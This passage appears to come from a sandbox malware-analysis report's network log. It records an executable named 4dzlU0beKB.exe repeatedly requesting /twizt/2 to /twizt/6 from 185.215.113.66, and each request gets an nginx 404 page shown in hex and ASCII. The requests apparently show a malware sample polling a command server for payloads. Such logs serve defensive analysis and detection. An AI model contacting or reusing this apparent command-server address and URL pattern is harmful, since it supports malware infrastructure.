20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:16:55.890388012 CEST	3556	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:16:55.946450949 CEST	3557	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:16:55 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:16:57.082552910 CEST	3558	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:16:57.139053106 CEST	3559	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:16:57 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:16:58.156339884 CEST	3588	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:16:58.212491035 CEST	3589	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:16:58 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49748	185.215.113.66	80	C:\Users\user\Desktop\4dzlU0beKB.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 02:17:01.432400942 CEST	6882	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:01.495464087 CEST	6883	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:01 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:02.504230976 CEST	8075	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:02.560307980 CEST	8076	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:02 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:03.579242945 CEST	8076	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:03.637521029 CEST	8077	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:03 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:04.656775951 CEST	8077	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:04.712923050 CEST	8078	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:04 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:05.726660967 CEST	8078	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:05.783158064 CEST	8079	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:05 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not 